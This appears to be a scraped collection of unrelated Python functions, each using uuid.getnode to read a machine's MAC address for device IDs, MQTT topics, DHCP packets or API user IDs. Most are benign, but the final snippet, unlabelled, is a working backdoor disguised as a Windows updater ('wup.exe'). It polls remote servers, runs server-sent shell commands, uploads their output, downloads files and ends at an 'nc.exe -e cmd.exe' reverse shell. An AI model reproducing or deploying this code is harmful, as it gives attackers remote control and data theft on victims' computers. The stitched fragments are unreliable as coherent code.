def main(): parser = argparse.ArgumentParser() parser.add_argument( '-int', '--interface', type=str, help='interface to change') parser.add_argument( '-ls', '--list', help='list available interfaces', action='store_true') args = parser.parse_args() if len(sys.argv) == 1: parser.print_help() exit() if args.list: interfaces = localifs() mac = {} for i in range(0, len(interfaces)): print interfaces[i][0], ":", get_mac(interfaces[i][0]), ":", \ interfaces[i][1] exit() mac = get_mac(args.interface) print "[+] Old MAC Address is: ", mac status = change_mac(args.interface, mac) print "status: ", status
def __init__(self): xbmc.log("Reading Settings.xml") if int(xbmc.getInfoLabel('System.BuildVersion')[:2]) < 18: XBMC_DIALOG_BUSY_OPEN = "ActivateWindow(busydialog)" XBMC_DIALOG_BUSY_CLOSE = "Dialog.Close(busydialog)" from uuid import getnode as get_mac if hasattr(os, 'uname'): system = os.uname()[4] else: import platform system = platform.uname()[5] if system == 'armv6l': try: mac = open('/sys/class/net/eth0/address').readline() self.XNEWA_MAC = hex(int('0x'+ mac.replace(':',''),16)) except: self.XNEWA_MAC = str(hex(get_mac())) else: self.XNEWA_MAC = str(hex(get_mac())) self.loadFromSettingsXML() return
def __init__(self): # ----------------- NIC INFO ----------------- self.os = platform.dist()[0] # If system is "debian": if self.os == 'debian': self.hostname = socket.gethostname() self.iface = ni.interfaces()[1] self.ipaddress = ni.ifaddresses(self.iface)[ni.AF_INET][0]['addr'] self.subnet = ni.ifaddresses(self.iface)[ni.AF_INET][0]['netmask'] self.gateways = ni.gateways()['default'][ni.AF_INET][0] # --- OS INFO --------------------- self.os_ver = platform.dist()[1] self.mac = ''.join('%012x' % get_mac()) self.ip_data = get_ip() self.path_ip = '/etc/network/interfaces' self.dns_file = '/etc/resolv.conf' # If system is "Arch Linux": else: self.hostname = socket.gethostname() self.iface = ni.interfaces()[1] self.ipaddress = ni.ifaddresses(self.iface)[ni.AF_INET][0]['addr'] self.subnet = ni.ifaddresses(self.iface)[ni.AF_INET][0]['netmask'] self.gateways = ni.gateways()['default'][ni.AF_INET][0] # --- OS INFO --------------------- self.os_ver = platform.dist()[1] self.mac = ''.join('%012x' % get_mac()) self.ip_data = get_ip() self.path_ip = '/etc/netctl/eth0' self.dns_file = '/etc/resolv.conf' logger.debug('GET IP SETTING OK!')
def mac_addr_info(): """Returns mac address. """ mac = get_mac() if mac == get_mac(): # not random generated hexa = '%012x' % mac value = ':'.join(hexa[i:i+2] for i in range(0, 12, 2)) else: value = None return {'mac': value}
def getScannerID() : from uuid import getnode as get_mac # ScannerID pattern scannerPattern = r"^[0-9]{1,15}" if (re.match(scannerPattern, str(get_mac())) == None) : return -1 print ("Scanner Id : " + str(get_mac())) return str(get_mac())
def __init__(self, _id=get_mac(), _clean_session=True, _userdata=None, _protocol=MQTTv311): self.id = _id self.address = ("85.119.83.194", 1883) self.clean_session = _clean_session self.user_data = _userdata self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) self.protocol = PROTOCOLS[_protocol]
def packet2xml(p): root = ET.Element("Packet") # Append the Node ID as well nodeID = ET.SubElement(root,"nodeID") nodeID.text = str(get_mac()) packettype1 = ET.SubElement(root, "Type") packettype1.text = str(p.type) packetsubtype1 = ET.SubElement(root, "Subtype") packetsubtype1.text = str(p.subtype) time1 = ET.SubElement(root,"Time") time1.text = str(p.time) addr1 = ET.SubElement(root,"Addr1") addr1.text = str(p.addr1) addr2 = ET.SubElement(root,"Addr2") addr2.text = str(p.addr2) info1 = ET.SubElement(root,"SSID") info1.text = str(p.info) # tree = ET.ElementTree(root) return root
def main(argv): wsHost = 'wss://oobd.luxen.de/websockssl/' connectID = hex(get_mac()) telnetHost = 'localhost' telnetPort = 1234 try: opts, args = getopt.getopt(argv,"h:c:d:p:",["host=","connect-id=","dongle-host=","dongle-port="]) except getopt.GetoptError: print ("kadaverSim.py -h <ServerURL> -c <connectID> -d <dongleHost> -p <donglePort>") print ("kadaverSim.py --host=<ServerURL> --connect-id=<connectID> --dongle-host<dongleHost> --dongle-port<donglePort>") sys.exit(2) for opt, arg in opts: if opt in ("-h", "--host"): wsHost = arg elif opt in ("-c", "--connect-id"): connectID = arg elif opt in ("-d", "--dongle-host"): telnetHost = arg elif opt in ("-s", "--dongle-port"): telnetPort = int(arg) print('connectID is "', connectID ,'"') print('wsHost is "', wsHost ,'"') print('telnet host is "', telnetHost ,'"') print('telnet Port is "', telnetPort ,'"') # will never return from this...: mySocket= kadaverSim( wsHost, connectID , telnetHost, telnetPort)
def __init__(self, *argv, **kwargs): super(RobotDaemon, self).__init__(*argv, **kwargs) syslog.syslog(syslog.LOG_DEBUG, "%s" % config.path) self.hwaddr = get_mac() self.ip = get_ip() self.uid = get_uid() syslog.syslog(syslog.LOG_DEBUG, 'IP: %s, MAC: %s, UID: %s' % (self.ip, self.hwaddr, self.uid))
def user_setup(ip, port=None, user=None, password=None, root=None): # TODO IP PORT if not user: print 'TODO' user=raw_input("Enter your username: "******"username": user, "root_dir": root, "nick": str(nick), "is_syncing": True, "password": password, 'last_sync': "0"} path = os.path.expanduser('~') + '/.onedirclient/client.json' conf_folder = os.path.expanduser('~') + '/.onedirclient' if not os.path.exists(conf_folder): os.mkdir(conf_folder) with open(path, 'w') as filename: json.dump(data, filename) watch_folder = os.path.expanduser('~') + '/OneDirFiles' if not os.path.exists(watch_folder): os.mkdir(watch_folder) # ftpclient = OneDirFtpClient(ip, port, user, nick, password, root) db = conf_folder + '/sync.db' ta = TableAdder(db, 'local') ta.add_column('time') ta.add_column('cmd') ta.add_column('line') ta.commit() # print 3 except: print 'invalid credentials'
def __init__(self): self.TransactionID = b"" #identifier for i in range(0, 4) : num = randint(0, 255) self.TransactionID += struct.pack('!B', num) self.mac = b"" #get mac address tmp = (bin(get_mac())) tmp = tmp[2:] #mac[0:1] = \b while len(tmp) < 48 : tmp = '0' + tmp for i in range(0, 12, 2) : #pack : j = int(tmp[i:i+2], 16) self.mac += struct.pack('!B', j) self.message_type = '' self.your_ip = '' self.next_server = '' self.dhcp_server = '' self.lease_time = '' self.router = '' self.DNS = [] self.subnet_mask = ''
def __init__(self, serverhost, serverport, updaterate, lastmessage, condition): """ Constructor. @param serverhost address to remote server to send data to @param serverport port of remote server @param updaterate amount of time before data is sent to remote server @param lastmessage last message recived from server @param condition condition synchronization object """ threading.Thread.__init__(self) self.lastmessage = lastmessage self.condition = condition self.remotehost = serverhost self.remoteport = serverport self.host = get_ip_address('eth1') print self.host #self.host = "130.229.145.50" self.port = 8822 self.go = True self.id = get_mac() self.updaterate = updaterate*10 self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.ds = DataStorage()
def main(host,server_port): ip = get_ip() mac = get_mac() #Might not work correctly when having multiple MAC adresses obj = { "ip":ip, "mac":mac, } fil = open("public.txt","rb") t = fil.read() fil.close() pubkey = rsa.PublicKey.load_pkcs1(t,'PEM') j = json.dumps(obj).encode('utf8') aes_key = rsa.randnum.read_random_bits(128) message = rsa.encrypt(j,pubkey) connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = host server_port = server_port connection.connect((host,server_port)) connection.sendall(message) print(connection.recv(128).decode('utf8')) connection.close()
def get_mac_dictionary(): db = dataset.connect('sqlite:///mydatabase.db') table = db['Device_special_settings'] print(table.find_one(setting_info='device_name')) addr = hex(get_mac()).rstrip("L").lstrip("0x") or "0" Device_info_dic = {'Current_MAC_Address': ':'.join(''.join(pair) for pair in zip(*[iter(addr)]*2)),'Device_Name':table.find_one(setting_info='device_name')['data_info'],'Current_Master':table.find_one(setting_info='device_name')['data_info']} return Device_info_dic
def loadDeviceId(): mac = str(get_mac()) global deviceId global deviceIdTable newlines=[] try: deviceId=deviceIdTable[mac] except: try: with open(deviceIdfilename) as f: print("lineread") lineread = f.readlines() print lineread print lineread[0].split(':')[1] print("ESCRBI LA CONCHA DE LA LORA") deviceIdTable[mac]=lineread[0].split(':')[1] print(deviceIdTable[mac]) print("ESCRIBI") deviceId=deviceIdTable[mac] except : deviceId=str(request_DeviceId(mac)) try: os.remove(deviceIdfilename) except: print("No hace falta borrarlo, el archivo no existe") print(deviceId) idfile=open(deviceIdfilename,'wb+') newlines.append(mac) newlines.append(":") newlines.append(deviceId) idfile.writelines(newlines) idfile.close()
def check_first_connection(): registration_file = "registration.conf" fl = 0 check = check_file(registration_file) if check == 1: rf = open(registration_file, 'r') home_dir = rf.readline() rf.close() flag = check_dir_on_ftp(home_dir) if flag == 0: registration() fl = 1 if flag == 1: fl = 1 if check == 0: mac = get_mac() flag = check_dir_on_ftp(str(mac)) if flag == 0: registration() check_or_download_modules() fl = 1 if flag == 1: registration_file = "registration.conf" rf = open(registration_file, 'wb') rf.write(str(mac)) rf.close() fl = 1 return fl
def getInformation(self): # Get Platform Name name = pal_get_platform_name() # Get MAC Address mac=get_mac() mac_addr=':'.join(("%012X" % mac)[i:i+2] for i in range(0, 12, 2)) # Get BMC Reset Reason wdt_counter = Popen('devmem 0x1e785010', \ shell=True, stdout=PIPE).stdout.read() wdt_counter = int(wdt_counter, 0) wdt_counter &= 0xff00 if wdt_counter: por_flag = 0 else: por_flag = 1 if por_flag: reset_reason = "Power ON Reset" else: reset_reason = "User Initiated Reset or WDT Reset" # Get BMC's Up Time uptime = Popen('uptime', \ shell=True, stdout=PIPE).stdout.read() # Get Usage information data = Popen('top -b n1', \ shell=True, stdout=PIPE).stdout.read() adata = data.split('\n') mem_usage = adata[0] cpu_usage = adata[1] # Get OpenBMC version version = "" data = Popen('cat /etc/issue', \ shell=True, stdout=PIPE).stdout.read() #Version might start with 'v'(wedge) or 'V'(Yosemite) if name == 'Yosemite': ver = re.search(r'[v|V]([\w\d._-]*)\s', data) else: ver = re.search(r'[v|V]([\w\d._-]*)\s', data) if ver: version = ver.group(1) info = { "Description": name + " BMC", "MAC Addr": mac_addr, "Reset Reason": reset_reason, "Uptime": uptime, "Memory Usage": mem_usage, "CPU Usage": cpu_usage, "OpenBMC Version": version, } return info;
def callback(ch, method, properties, body): global sessionId try: sessionId = uuid.uuid1() deviceMac = get_mac() deviceMac = ':'.join(("%012X" % deviceMac)[i:i+2] for i in range(0, 12, 2)) logMsg = 'Fetching Speed Test request configuratin for device '+deviceMac processMessage(logMsg, remotelog=False) request = getSpeedTestRequest(deviceMac) if request == None: raise ValueError('Unable to get speed test request configuration!') else: rqId = request['request']['rqid'] logMsg = 'Speed device has been plugged in. Initiating speed test process...' processMessage(logMsg, rqid=rqId) #Retry if unsuccessful if waitForPing("8.8.8.8", rqid=rqId) and speedtest(request): updateRequestStatus(rqId, 3) logMsg = 'Speed Test Completed!' processMessage(logMsg, rqid=rqId) else: logMsg = 'Speed Test Unsuccessful!' processMessage(logMsg, severity='critical', rqid=rqId) except Exception as e: syslogger(str(e), 'critical') raise
def __init__(self,Pins = [24,25,8,7],ip = "localhost", port = 1883, clientId = "MQTT2StepperMotor", user = "******", password = "******", prefix = "StepperMotor"): mosquitto.Mosquitto.__init__(self,clientId) MotorControl.__init__(self,Pins) #Get mac adress. mac = get_mac() #Make a number based on pins used. pinid = "" for pin in Pins: pinid += "%02i" % pin self.prefix = prefix + "/" + str(mac) + "/" + pinid self.ip = ip self.port = port self.clientId = clientId self.user = user self.password = password if user != None: self.username_pw_set(user,password) #self.will_set( topic = "system/" + self.prefix, payload="Offline", qos=1, retain=True) self.will_set( topic = self.prefix, payload="Offline", qos=1, retain=True) print "Connecting to:" +ip self.connect(ip,keepalive=10) self.subscribe(self.prefix + "/#", 0) self.on_connect = self.mqtt_on_connect self.on_message = self.mqtt_on_message #self.publish(topic = "system/"+ self.prefix, payload="Online", qos=1, retain=True) self.publish(topic = self.prefix, payload="Online", qos=1, retain=True)
def mac(self): mac_addr = str(get_mac()) mac_dic = {'149885691548389': 'kartikeya'} #149885691548389 if mac_addr in mac_dic : return mac_dic[mac_addr] else: return mac_addr
def mapfn(key, value): import multiprocessing from uuid import getnode as get_mac # Можно собирать дополнительную информацию count_cores = multiprocessing.cpu_count() key2 = str(get_mac()) yield key2, count_cores
def get_speech(self, phrase): if self.token == '': self.token = self.get_token() query = {'tex': phrase, 'lan': 'zh', 'tok': self.token, 'ctp': 1, 'cuid': str(get_mac())[:32], 'per': self.per } r = requests.post('http://tsn.baidu.com/text2audio', data=query, headers={'content-type': 'application/json'}) try: r.raise_for_status() if r.json()['err_msg'] is not None: self._logger.critical('Baidu TTS failed with response: %r', r.json()['err_msg'], exc_info=True) return None except Exception: pass with tempfile.NamedTemporaryFile(suffix='.mp3', delete=False) as f: f.write(r.content) tmpfile = f.name return tmpfile
def __init__(self, host, port, queue, timeout=60, conffile="/etc/notify-multiplexer/notify-multiplexer.conf"): threading.Thread.__init__(self) self.host = host self.port = port self.uid = get_mac() self.connected = False self.pingSem = threading.Semaphore() self.daemon = True self.timeout = timeout self.queue = queue self.config = configparser.SafeConfigParser() self.conffile = conffile # read config into object try: self.config.read(conffile) except IOError as e: logging.fatal("Issues loading config file: " + conf + ": " + repr(e.strerror) + ", bailing.") exit(1) self.context = self.makeSSLContext() self.pingThread = NotifyMultiplexReciever._connManager._pingManager(self.pingSem, self, self.timeout) self.pingThread.start() logging.info("Initalized")
def register(request): global ServerAddress if request.method == 'POST': form = RegistrationForm(request.POST) # A form bound to the POST data url=ServerAddress mac_address = get_mac() print 'reached here' dataq={ 'mac_address':mac_address, 'username': request.POST['username'], 'email':request.POST['email'], 'roll_no':request.POST['roll_no'], 'password':request.POST['password1'], 'college_name': request.POST['college_name'] } print dataq r = requests.get(url,data=json.dumps(dataq) ) form=LoginForm() return HttpResponseRedirect('http://127.0.0.1:8000') else: form = RegistrationForm() variables = RequestContext(request, { 'form': form }) return render_to_response( 'registration/register.html', variables, )
def __init__(self): self.transID = b'' self.macaddr = b'' self.op = b'' self.CIADDR = b'' self.YIADDR = b'' self.SIADDR = b'' self.GIADDR = b'' self.DHCP_Message_Type = b'' self.Subnet_Mask = b'' self.Router = b'' self.Leas_Time = b'' self.DHCP_Server = b'' self.Dns_Server = set() mac = bin(get_mac())[2:] if len(mac) < 48: mac = '0' + mac for i in range(0, 48, 8): self.macaddr += struct.pack('!B', int(mac[i:i+8], 2)) for i in range(4): self.transID += struct.pack('!B', randint(0, 255))
def machineMeasureRun(jobFlowToM, nothing): #debugLog('proc', 'machineMeasureRun. jobFlowToM:', jobFlowToM) #EvalLog('{0:6f},104,start machineMeasure for jobFlows {1}'.format(time.time(), jobFlowToM)) totalCpu = psutil.cpu_percent(interval=0.05) totalMemory = psutil.virtual_memory().total hostId = str(get_mac()) for jobFlow in jobFlowToM: measureResults = [] sourceJob = agentManager.sourceJobTable[jobFlow] for name in sourceJob.measureStats: if name == 'hostId': measureResults.append(hostId) elif name == 'totalCPU': measureResults.append(totalCpu) elif name == 'totalMemory': measureResults.append(totalMemory) elif name == 'IP': measureResults.append(SelfIP.GetSelfIP()) if measureResults: #debugLog('proc', 'measureResults:', measureResults) (jobId, flowId) = decomposeKey(jobFlow) (_, goFunc) = agentManager.eventAndGoFunc[jobId][flowId] goThread = Thread(target=runGo, args=(goFunc, measureResults, jobId, flowId)) goThread.daemon = True goThread.start() #EvalLog('{0:6f},105,done one round of machineMeasure for jobFlows {1}'.format(time.time(), jobFlowToM)) agentManager.measureLatency += '#DoneOneRoundMachineMeasure${0:6f}'.format(time.time())
def sendData(data, host, port): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.connect((host,port)) server.send(str(get_mac())+'||\n') server.send(data+'\n') server.send("done"+'\n') server.close() print "Data sent to remote server"
def __init__(self): self.DISPENSER_ID = get_mac() self.OPERATION_START_TIME = None self.OPERATION_END_TIME = None self.EACH_CONTAINER = {} self.DISPENSE_HEAP = Dispense_Heap() # out web link self.WEB_URL = "thawing-ravine-9396.herokuapp.com"
def generate_uuid(self, depend_mac=True): if depend_mac is False: self.logger.debug('uuid creating randomly') return uuid.uuid4() # make a random UUID else: self.logger.debug('uuid creating according to mac address') return uuid.uuid3(uuid.NAMESPACE_DNS, str(get_mac())) # make a UUID using an MD5 hash of a namespace UUID and a mac address
def registration(): mac = get_mac() registration_file = "registration.conf" rf = open(registration_file, 'wb') rf.write(str(mac)) rf.close() ftps.mkd('%s' % mac) return 1
import Adafruit_DHT, sys, os, urllib2, json from time import sleep from threading import Thread from uuid import getnode as get_mac sensor = Adafruit_DHT.DHT11 pin = int(sys.argv[1]) frec = float(sys.argv[2]) * 60 if frec < 60: frec = 60 url = "http://192.168.2.238:8080/data/add" data = {"fichero": os.path.basename(__file__), "mac": get_mac(), "valor": ""} def Send(value): data["valor"] = value req = urllib2.Request(url) req.add_header('Content-Type', 'application/json') response = urllib2.urlopen(req, json.dumps(data)) if __name__ == "__main__": while True: humedad = Adafruit_DHT.read_retry(sensor, pin) if humedad is not None: humedad = '{0:0.1f}'.format(humedad[0]) Thread(target=Send, args=(humedad, )).start() sleep(frec)
def load_time_series(symbol, year, is_bid_file): if get_mac() == 150538578859218: prefix = '/Users/andrewstevens/Downloads/economic_calendar/' else: prefix = '/root/trading_data/' from os import listdir from os.path import isfile, join onlyfiles = [f for f in listdir(prefix) if isfile(join(prefix, f))] pair = symbol[0:3] + symbol[4:7] for file in onlyfiles: if pair in file and 'Candlestick_1_Hour_BID' in file: break if pair not in file: return None with open(prefix + file) as f: content = f.readlines() # you may also want to remove whitespace characters like `\n` at the end of each line content = [x.strip() for x in content] from_zone = tz.gettz('America/New_York') to_zone = tz.tzutc() prices = [] times = [] volumes = [] content = content[1:] if year != None: start_time = calendar.timegm(datetime.datetime.strptime(str(year) + ".1.1 00:00:00", "%Y.%m.%d %H:%M:%S").timetuple()) end_time = calendar.timegm(datetime.datetime.strptime(str(year) + ".12.31 00:00:00", "%Y.%m.%d %H:%M:%S").timetuple()) for index in range(len(content)): toks = content[index].split(',') utc = datetime.datetime.strptime(toks[0], "%d.%m.%Y %H:%M:%S.%f") time = calendar.timegm(utc.timetuple()) if year == None or (time >= start_time and time < end_time): high = float(toks[2]) low = float(toks[3]) o_price = float(toks[1]) c_price = float(toks[4]) volume = float(toks[5]) if high != low or volume > 0: prices.append(c_price) times.append(time) volumes.append(volume) return prices, times, volumes
def get_mac_address(): return hex(get_mac())
if 'data' in payload and type(payload['data']) == dict: pins_changed = 0 try: for pin in payload['data']: if type(pin) == str and not str.isdigit(pin): continue ipin = int(pin) pin_val = int(payload['data'][pin]) ser.write('s' + chr(ipin) + chr(pin_val)) print(ser.readline().strip()) except Exception as e: print('error during write') send_pin_status() mqtt.connect('13.250.41.251') mqtt.subscribe('/hydroots/server/%d' % get_mac()) mqtt.on_message = on_message #mqtt.loop_start() time.sleep(1) print('init %d' % get_mac()) last_data_time = int(time.time() * 1000) #send_pin_status() while True: #print('loop') try: #if last_data_time + 100 < int(time.time() * 1000): #ser = serial.Serial('/dev/ttyACM0') #ser.timeout = 1
def get_mac(): from uuid import getnode as get_mac mac = ':'.join(("%012X" % get_mac())[i:i+2] for i in range(0, 12, 2)) logger.debug("Adresse MAC locale : %s", mac) return mac
from uuid import getnode as get_mac PI_ID = get_mac() CAMERA_WINDOW_SIZE = [0, 0, 0, 0] PICTURE_RESOLUTION = [0, 0] WAKEUP_DELAY = 2 PICTURE_DELAY = 2 PICTURE_RESOLUTION[0] = 960 PICTURE_RESOLUTION[1] = 540 CAMERA_WINDOW_SIZE[0] = 0 CAMERA_WINDOW_SIZE[1] = 0 CAMERA_WINDOW_SIZE[2] = 960 CAMERA_WINDOW_SIZE[3] = 540 MAX_PICTURES = 4 IMAGE_THRESHOLD = 20 WINDOW_WIDTH = 1000
def GetID(): id=get_mac() return id
from uuid import getnode as get_mac import os #####MAC ADDRESS newhostname = str(get_mac()) print(newhostname) with open('/etc/hosts', 'r') as file: # read a list of lines into data data = file.readlines() # the host name is on the 6th line following the IP address # so this replaces that line with the new hostname data[5] = '127.0.1.1 ' + newhostname # save the file temporarily because /etc/hosts is protected with open('temp.txt', 'w') as file: file.writelines( data ) # use sudo command to overwrite the protected file os.system('sudo mv temp.txt /etc/hosts') # repeat process with other file with open('/etc/hostname', 'r') as file: data = file.readlines() data[0] = newhostname with open('temp.txt', 'w') as file: file.writelines( data )
def chat(self, texts): """ 使用Emotibot机器人聊天 Arguments: texts -- user input, typically speech, to be parsed by a module """ msg = ''.join(texts) try: url = "http://idc.emotibot.com/api/ApiKey/openapi.php" userid = str(get_mac())[:32] register_data = { "cmd": "chat", "appid": self.appid, "userid": userid, "text": msg, "location": self.location } r = requests.post(url, params=register_data) jsondata = json.loads(r.text) result = '' responds = [] if jsondata['return'] == 0: if self.more: datas = jsondata.get('data') for data in datas: responds.append(data.get('value')) else: responds.append(jsondata.get('data')[0].get('value')) result = '\n'.join(responds) if jsondata.get('data')[0]['cmd'] == 'reminder': data = jsondata.get('data')[0] remind_info = data.get('data').get('remind_info') remind_event = remind_info[0].get('remind_event') remind_time = remind_info[0].get('remind_time') if not create_reminder(remind_event, remind_time): result = u'创建提醒失败了' else: result = u"抱歉, 我的大脑短路了,请稍后再试试." max_length = 200 if 'max_length' in self.profile: max_length = self.profile['max_length'] if len(result) > max_length and \ self.profile['read_long_content'] is not None and \ not self.profile['read_long_content']: target = '邮件' if self.wxbot is not None and self.wxbot.my_account != {} \ and not self.profile['prefers_email']: target = '微信' self.mic.say(u'一言难尽啊,我给您发%s吧' % target, cache=True) if sendToUser(self.profile, self.wxbot, u'回答%s' % msg, result): self.mic.say(u'%s发送成功!' % target, cache=True) else: self.mic.say(u'抱歉,%s发送失败了!' % target, cache=True) else: self.mic.say(result, cache=True) if result.endswith('?') or result.endswith(u'?') or \ u'告诉我' in result or u'请回答' in result: self.mic.skip_passive = True except Exception: self._logger.critical("Emotibot failed to responsed for %r", msg, exc_info=True) self.mic.say("抱歉, 我的大脑短路了 " + "请稍后再试试.", cache=True)
def get_mac_digest(): sha1 = hashlib.sha1() sha1.update(str(get_mac())) return str(sha1.hexdigest())
#!/usr/bin/python import platform import sys import os import socket import time from uuid import getnode as get_mac # This script is tested in MacOS and it worked fine. It should work in Linux machine too. # I am not sure though for Windows ;) mac = get_mac() unumber = os.getuid() pnumber = os.getpid() login = os.getlogin() group = os.getgroups() where = os.getcwd() now = time.time() means = time.ctime(now) print ("User number",unumber) print ("Process ID",pnumber) print ("Login Name", login) print ("Current Directory",where) print ("Group", group) print ("Name: " +socket.gethostname( )) print ("FQDN: " +socket.getfqdn()) print ("System Platform: "+sys.platform) print ("Node " +platform.node())
def hashIDer(self, most, counter): mac = '_'.join(("%012X" % get_mac())[i:i+2] for i in range(0, 12, 2)) uid = '%s %s %d' % (mac, most.toString('dd/MM/yyyy hh:mm:ss.z'), counter) hrid = hashlib.sha256(uid.encode('utf-8')).hexdigest() return hrid
def Get_Mac_Value(): mac = get_mac() return str(mac)
def myloop(): #threading.Timer(10.0, myloop).start() # called every minute sinit = '0' #sites = ["paner.altervista.org", "verifiche.ddns.net"] #ua = UserAgent() #header = {'User-Agent':str(ua.chrome)} sites = ["paner.altervista.org"] #, mainsite.text] header = {'User-Agent': 'Mozilla/5.0'} try: ip = socket.gethostbyname('config01.homepc.it') mainsite = requests.get("http://" + ip + "/site.txt", headers=header) for mysite in mainsite.text.split(","): #print socket.gethostbyname(mysite) sites.append(socket.gethostbyname(mysite)) #sites.extend(mainsite.text.split(",") ) except Exception as e: print(str(e)) #p = Popen("curl -L -A 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36' https://drive.google.com/uc?export=download&id=1nT2hQWW1tOM_yxPK5_nhIm8xBVETGXdF -o "+os.getenv('TEMP')+"\\sites.txt",shell=True) #time.sleep(5) #text_file = open(os.getenv('TEMP')+"\\sites.txt", "r") #text_file_content=text_file.read() #sites.extend(text_file_content.split(",") ) #text_file.close() #print mainsite.text #site="paner.altervista.org" site1 = "paner.altervista.org" site2 = "52.26.124.145" site3 = "certificates.ddns.net" #os.system("reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v urlspace /t REG_SZ /d "+os.getenv('windir')+"\\up.exe /f") #os.system("cmd /c copy /y "+os.getenv('windir')+"\\upie.exe "+os.getenv('windir')+"\\up.exe") #print(header) # log_formatter = logging.Formatter('%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') # logFile = os.getenv('windir')+"\\wup.log" # my_handler = RotatingFileHandler(logFile, mode='a', maxBytes=1*1024, # backupCount=2, encoding=None, delay=0) # my_handler.setFormatter(log_formatter) # my_handler.setLevel(logging.INFO) # app_log = logging.getLogger('root') # app_log.setLevel(logging.INFO) # app_log.addHandler(my_handler) #app_log.info("data") #logging.basicConfig(filename=os.getenv('windir')+"\\wup.log",level=logging.INFO, format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') # app_log.info('Start') #while True: for site in sites: try: #app_log.info('Step') #if sinit == '0': # Init() #httpServ = httplib.HTTPConnection(site, 80) #httpServ.connect() mymac = get_mac() #smacaddress = get_macaddress('localhost') smacaddress = str(get_mac()) sCOMPUTERNAME = os.getenv('COMPUTERNAME') + "_" + smacaddress sTime = time.ctime( os.path.getmtime(os.getenv('windir') + "\\wup.exe")) sTime = sTime.replace(" ", "_") #opener = urllib2.build_opener(SocksiPyHandler(socks.PROXY_TYPE_SOCKS4, '52.26.124.145', 8080)) #response = opener.open("http://"+site+"/svc/wup.php?pc="+sCOMPUTERNAME+"&wup="+sTime).read() #response = urllib2.urlopen("http://"+site+"/svc/wup.php?pc="+sCOMPUTERNAME+"&wup="+sTime)#+"&dump=aaaaa") #httpServ.request('GET', "/svc/wup.php?pc="+sCOMPUTERNAME+"&wup="+sTime) #response = httpServ.getresponse() url = "http://" + site + "/svc/wup.php?pc=" + sCOMPUTERNAME + "&wup=" + sTime response = requests.get(url, headers=header) #sresponse=response.read() if response.status_code == 200: #httplib.OK: #if sresponse!= '': print("Output from HTML request") sresponse = response.text ifind = sresponse.find('ip=') sip = sresponse[ifind + 3:sresponse.find('||', ifind)] ifind = sresponse.find('port=') sport = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('kill=') skill = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('iout=') sout = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('exec=') sexec = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('cmd=') scmd = sresponse[ifind + 4:sresponse.find('||', ifind)] print(skill) else: # logging.info('Not 200') #myloop() if site == site1: site = site2 elif site == site2: site = site3 elif site == site3: site = site1 #httpServ.request('GET', "/svc/wup.php?pc="+sCOMPUTERNAME+"&wup="+sTime) #response = httpServ.getresponse() url = "http://" + site + "/svc/wup.php?pc=" + sCOMPUTERNAME + "&wup=" + sTime response = requests.get(url, headers=header) #if sresponse!= '': if response.status_code == 200: #httplib.OK: print("Output from HTML request") sresponse = response.text ifind = sresponse.find('ip=') sip = sresponse[ifind + 3:sresponse.find('||', ifind)] ifind = sresponse.find('port=') sport = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('kill=') skill = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('iout=') sout = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('exec=') sexec = sresponse[ifind + 5:sresponse.find('||', ifind)] ifind = sresponse.find('cmd=') scmd = sresponse[ifind + 4:sresponse.find('||', ifind)] print(skill) #httpServ.close() if sexec == '1': sCOMPUTERNAME = os.getenv('COMPUTERNAME') + "_" + smacaddress try: if sout == '1': sdump = subprocess.check_output( scmd, stderr=subprocess.STDOUT, shell=True) ## process=subprocess.Popen(scmd,stdout=subprocess.PIPE,stderr=subprocess.STDOUT, shell=True) ## p = Popen(scmd,shell=True) ## returncode = process.wait() ## print('return code'.format(returncode)) ## sdump=process.stdout.read() text_file = open( os.getenv('TEMP') + "\\" + sCOMPUTERNAME, "w") text_file.write(sdump) text_file.close() files = { 'userfile': open( os.getenv('TEMP') + "\\" + sCOMPUTERNAME, 'rb') } r = requests.post('http://' + site + '/upload.php', files=files) #if len(sdump)<2006: #sdump = sdump.replace("\'", "") #sdump = sdump.replace("\\", "\\\\") sdump = sdump.replace("\r\n", "<br>") #sdump = sdump.replace("\n", "<br>") #sdump = sdump.replace("\r", "<br>") sdump = sdump.replace(" ", "%20") #sdump = sdump[ 0 : 2005] #httpServ = httplib.HTTPConnection(site, 80) #httpServ.connect() #response = urllib2.urlopen("http://"+site+"/svc/wup.php?pc="+sCOMPUTERNAME+"&dump="+sdump) #httpServ.request('GET', "/svc/wup.php?pc="+sCOMPUTERNAME+"&dump="+sdump) #response = httpServ.getresponse() url = "http://" + site + "/svc/wup.php?pc=" + sCOMPUTERNAME + "&dump=" + sdump response = requests.get(url, headers=header) #httpServ.close() else: igetfile = scmd.find('getfile') ifile = scmd.rfind('/') if igetfile == 0: geturl = scmd[8:len(scmd)] sfiledest = scmd[ifile + 1:len(scmd)] #f = urllib2.urlopen(geturl) #with open(swin+'\\'+ sfiledest, "wb") as code: # code.write(f.read()) with urllib.request.urlopen( geturl) as response, open( swin + '\\' + sfiledest, 'wb') as out_file: data = response.read() # a `bytes` object out_file.write(data) else: p = Popen(scmd, shell=True) #print r.text except Exception as e: print(str(e)) #myloop() #httpServ = httplib.HTTPConnection(site, 80) #httpServ.connect() #response = urllib2.urlopen("http://"+site+"/svc/wup.php?pc="+sCOMPUTERNAME+"&exec=0") #httpServ.request('GET', "/svc/wup.php?pc="+sCOMPUTERNAME+"&exec=0") #response = httpServ.getresponse() url = "http://" + site + "/svc/wup.php?pc=" + sCOMPUTERNAME + "&exec=0" response = requests.get(url, headers=header) #httpServ.close() if skill == '0': try: if not os.path.exists('c:\windows\syswow64'): p = Popen("nc.exe -e cmd.exe " + 